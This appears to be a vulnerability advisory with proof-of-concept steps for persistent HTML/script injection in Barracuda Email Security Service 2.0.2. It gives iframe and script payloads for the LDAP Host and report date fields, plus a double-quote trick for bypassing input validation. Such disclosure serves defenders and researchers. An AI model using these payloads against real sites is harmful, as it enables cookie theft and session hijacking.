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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/54773/info

Barracuda Email Security Service is prone to multiple HTML-injection vulnerabilities because it fails to properly validate user-supplied input.

An attacker may leverage these issues to inject hostile HTML and script code that would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user.

Barracuda Email Security Service 2.0.2 is vulnerable; other versions may also be affected. 

Proof of Concept:
=================
1.1
The persistent web vulnerability can be exploited by remote attackers with privileged user account & low user inter action.
For demonstration or reproduce ...

Review:  Domain Settings > Directory Services > LDAP Host

<div id="directory-services" class="module">
        <h4 class="module-title">Directory Services</h4>
        <div class="module-content">
          <div class="warn notice" id="ldap-test-result" style=""><img src="/images/spinner1.gif" 
alt="loading..."> Connecting to >"<iframe src="http://www.example1.com">@gmail.com >"<script>alert(document.cookie)</script><div style="1@gmail.com 0</iframe></div>    
          <div style="float: right;">
            <a href="https://www.example2.com/domains/sync_ldap/4" class="btn"><span><span>Synchronize Now</span></span></a>
            <a href="#" class="btn" id="ldap-test-btn"><span><span>Test Settings</span></span></a>
          </div>
          <p class="field">
            <label class="label" for="ldap_host">LDAP Host:</label>
            <input name="ldap_host" id="ldap_host" size="30" value=">
"<iframe src=http://www.example1.com>@gmail.com >"<script>alert(document.cookie)</script><
div style="1@gmail.com 0" type="text">

URL:   https://www.example.com/domains/info/4

PoC: >">"<iframe src=http://www.example1.com>VL >"<div style="1 >">"

Note:
To bypass the validation close the tag of the exception handling on beginning with double quotes 2 times.
The mask of the exception (>") will be bypassed and the string will be executed out of the secure exception handling message.



1.2
The persistent web vulnerability can be exploited by remote attackers with privileged user account & low user inter action.
For demonstration or reproduce ...

Vulnerable Module: Reports > Date Start > Date End

PoC: >"<iframe src=http://www.example1.com>

URL: https://www.example.com/reports

Note:
1. Include a start Date & End Date
2. Inject after the start date & end date your own persistent script code
3. Result: The script code get executed out of the date listing application context
4. Save value with script code to events for exploitation via module.